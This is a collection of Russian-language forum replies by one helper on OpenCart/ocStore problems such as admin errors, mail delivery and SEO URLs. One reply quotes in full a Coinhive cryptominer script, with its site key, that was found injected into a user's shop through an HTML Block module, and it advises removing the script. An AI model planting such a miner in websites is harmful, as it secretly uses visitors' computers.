Gmp

Наверное уже сами разобрались, но если нет то как-то так: function showRegion(address) { $("#shipping_address_zone_id :contains('" + address.region + "')").attr("selected", "selected"); } Протестируйте сами: пример

Сейчас занят, но если озвучите в личку бюджет то глянул бы на той неделе.

У ТС была задача, решить которую он хотел 1) Быстро 2) Бесплатно 3) Чужими руками. Ему подсказали именно такое решение)) А когда изменится структура адреса или имена страниц и придется вспоминать что было сделано и в каких файлах, ТС спросит еще раз. Еще возможно со временем ТС внедрит например UTM метки, или будут передаваться какие то иные параметры через URL, тут тоже ожидает сюрприз. Andry100500, об одном прошу - если это первое что вы "внедряете", то хоть не правьте шаблоны напрямую, выносите свои правки например в отдельный файл andry100500.ocmod.xml - потом проще будет.

А вам что конкретно надо? Что у вас есть уже? Пишите или тут или в личку.

И еще на предмет "кривых" модулей проверить. С таким количеством на обычном shared хостинге должно просто летать. Хотя неизвестна ваша посещаловка, если у вас десятки тысяч просмотров в час то да, проблемы могут быть.

Можно взять дистрибутив этой же версии движка и заменить отредактированные файлы на оригинальные, но вы должны отчетливо понимать чем это грозит - настраивать возможно придется не только Simple, ведь неизвестно что еще этот товарищ "захардкодил". Я каких-то супер оригинальных функций или идей в работе корзины не заметил, если их и нет - то это пройдет не особо болезненно, но нюансы конечно могут всплыть. А если устраивает всё, кроме того что страница заказа совсем неудобная, то чтоб не трогать код который может начать "пахнуть" можно подредактировать саму форму заказа. Но я бы конечно по возможности смотрел в сторону избавления от любых правок, но не всегда по бюджету это может быть приятно.

Подобная проблема иногда бывает когда на стороне 1С выставляется условие отбора - "только в наличии на складах" или "наличие > 0" не помню точно как там это пишется. Дело точно не в этом? Было бы неплохо если б скинули настройки выгрузки для начала, может ничего ломать и не надо.

Поздравляю, значит не зря строчил все это

Это радостная новость) Сами справились или все-таки пришлось искать помощь?

Ага, может забыл о чем то, через JS наверное?)

1) Проверяете редактировался ли файл admin/view/template/sale/order_info.tpl (берете оригинальный от вашей версии opencart или с резервной копии где еще все работало и либо считаете и сравниваете контрольные суммы (хэши, напр. md5) этих файлов или спец программами сверяете визуально и смотрите отличия). 2) Если файл не редактирован, и если этого еще не делали - обновляете кэш модификаций, проверяете, если не заработало, временно отключаете все модификации связанные с админкой (или лучше вообще все), проверяете, если заработало - начинаете включать по одному (не забывая обновлять кеш модификаций), и проверяете, как только перестало - виновник известен. Изучаете код модификации и исправляете ошибки. Если самостоятельно победить не удастся, а решение нужно - обращайтесь.

Если скрыть стилями, то во первых страница от этого не полегчает (да, это не столь важно сейчас, чтоб о этом думать, но все же я предпочитаю думать на шаг вперед), а во вторых используются стандартные классы (у блока нет уникального идентфикатора, если не ошибаюсь) и можно потом схлопотать за эти 350руб больше проблем чем денег которых хватит только на обед. А чтобы добавить свой класс/идентификатор все равно надо редактировать шаблон. А редактировать - потом обновят и правки слетели, а ты еще и виноват остаешься)) <div class="thumbnail"> <div class="caption"> <p class="description"> Это я просто объяснял человеку о том что под действием "просто включить" может крыться множество других действий, о которых почему то клиент упорно умалчивал, и заговорил только после "о, 350, окей, у меня много идей появилось". Это уже пройденный этап когда после "включения" оказывается что там не то, о чем он мечтал, но ты уже подписался делать это за эти деньги, да еще и выяснится что ты совсем неправильно понял чего он имел в виду. Я никого не хотел обидеть или оскорбить, просто почитал что исполнитель должен понимать этого клиента и подбирать подход, потому сюда это и выложил. Стараюсь не конфликтовать с клиентами и иногда даже себе в убыток доделываю их хотелки, но в этом случае решил отказаться ибо посчитал что это слишком. Даже маникюр за 350 наверное никто делать не будет)))

Это не совсем то, это место вывода ошибки, хотя разница честно говоря настораживающая, если у вас везде по файлам такая беда произошла (замена символов перевода строки) то проблем будет куда больше чем это. Сравнивайте весь участок javascript кода, и да, я бы строку с alert вернул в состояние как во втором варианте, и искал бы выше (да и ниже тоже) подобные проблемы. Так же в браузере откройте заказ, откройте html код страницы и ищите строки типа: $('#history').load('index.php?route=sale/order/history&token=P9AgsnEBEW9dIP2gK8vYFdtRkfBPAT0o&order_id=656'); url: 'https://demo.ocstore.com/index.php?route=api/order/history&token=' + token + '&store_id=0&order_id=656', Подозреваю что у вас оно будет не в одну строку, а с переносами, если это так то потом скажу в каком файле это смотреть.

Я могу) написал же как сделать, не получилось что-то?

В этом: Uncaught SyntaxError: Invalid or unexpected token index.php:967 Ответ хранится в вопросе - открываете админку, открываете заказ, открываете в браузере исходный текст страницы, находите строку 967, ищете почему token отсутствует или не верный. Почему это случилось? Наверное ставили модули которые модифицировали что-то в админке и ненароком что-то сломали. Или сами/с помощью кого-то редактировали файлы.

Сперва хотят чтоб за 300 рублей кто-то поработал, а потом еще и удивляются и просят помочь бесплатно)) Дак берите и меняйте номер кошелька на свой, еще и заработаете! А если по делу: по дампу вижу что у вас есть модуль HTML Block и через него вставлен код. Правильнее всего будет и через него убрать. Если любите экстрим то можно убрать два этих участка из базы напрямую, но потом проверяйте, и желательно будет все равно открыть модуль и ничего не меняя нажать "сохранить". Надеюсь за этот код меня форум автоматом не забанит. &lt;script src=&quot;https://coinhive.com/lib/coinhive.min.js&quot;&gt;&lt;/script&gt;&lt;script&gt;\r\n var miner = new CoinHive.User(\'5kDyHhbqLvBQFzvnnw06b3BnoKoS1KGW\', \'pogrommist\');\r\n miner.start();\r\n&lt;/script&gt; &lt;script src=&quot;https://coinhive.com/lib/coinhive.min.js&quot;&gt;&lt;/script&gt;&lt;script&gt;\r\n var miner = new CoinHive.User(\'5kDyHhbqLvBQFzvnnw06b3BnoKoS1KGW\', \'pogrommist\');\r\n miner.start();\r\n&lt;/script&gt;

Вакантное место еще свободно, подробности под спойлером.

Щас наверное в меня полетят камни и помидоры за упоминание дьявола, но почитав тему решил позлорадствовать и пошел проверять магазин на битриксе который я создавал на прошлой работе взамен тому что создавал несколькими годами ранее на оксторе (потому что "мы уже стали достаточно взрослые"). Он канеш не перегруженный и в свое время я оба показателя вывел в зеленую зону, сейчас думал что увижу что то вроде -5, но блин результат 80/46 честно говоря удивил. 1С что гугол купила что ли?

Возможно ЭТО то что вам нужно.

2. У вас футер сделан в So Page Builder - в сторону него и смотрите. 3. Стандартно надо смотреть в сторону Дизайн -> Схемы. 4. Все отображается так как прописано в вёрстке. Было по другому или вам хочется по другому? 5. Прошелся по нескольким товарам но не нашел с рекомендуемыми, направьте в нужное направление (если кинете ссылку система не пропустит скорее всего), напишите где искать.

Могу глянуть, но если хотите сперва попробовать самостоятельно то я бы порекомендовал во первых посмотреть error.log возможно там найдете ответы, ну а вообще правильно сказал DM8985, лучше переводить на SMTP, потому что если не сейчас так потом скорее всего всё-равно придется сделать. Заодно повспоминайте после чего работать перестало, часто это бывает связано с проводившимися работами на сайте которые "вроде никаким боком этого не касаются" или установкой каких либо дополнений которые тоже "вроде как к почте никакого отношения не имеют".

Судя по ответу техподдержки хостинга, тестовые письма которые они отправили вы получили а те что отправляет сайт - нет?

Предыдущий оратор видимо имел в виду что если менять версию движка принципиально, но сайт уже взрослый и имеет индекс, позиции и все такое - то нужно обновлять (а не делать новый). Хотя был у меня проект когда сайт 2в1 (корпоративный сайт на modx + инет магазин на oc 1.5.5 в подпапке) переводили на битрикс и клиент бился в грудь что любой ценой все проиндексированное должно остаться как есть, задачу очень даже удалось решить с небольшой болью, чпу почти везде подогнали а где не получилось сделали 301й. А то что изменился движок и дизайн поисковикам не так страшно - ну редизайн провели. Конечно колебания будут но смертельного ничего нет. Это я к тому что зависит от сайта конечно, но сделать идентичное ЧПУ на старом и новом если оба на опенкарте - задача вовсе не сверхъестественная.

Добавлю к вышесказанному - я бы скорее всего в первую очередь стал разбираться почему вес не отображается - может быть корни отсюда начинают расти, а то, что не отображается модуль возможно следствие. Например хоть и смутно, но припоминаю что у кого-то решал проблему, корни которой были в том, что загрузив данные из excel, где разделителем была запятая, а в системе точка. Потому цены грузились некорректно. Может быть у вас с весом что-то подобное, заполняли из карточки или грузили из каких-то систем?

Возможно с шаблоном связано, без "посмотреть" можно только гадать. Надо смотреть адаптированы ли модули под шаблон, не вылетают ли какие ошибки/варнинги/нотисы в логах. Плюс не указали стоит ли у вас Simple, или другой чекаут, были ли в гостях у вашего сайта непонятные личности))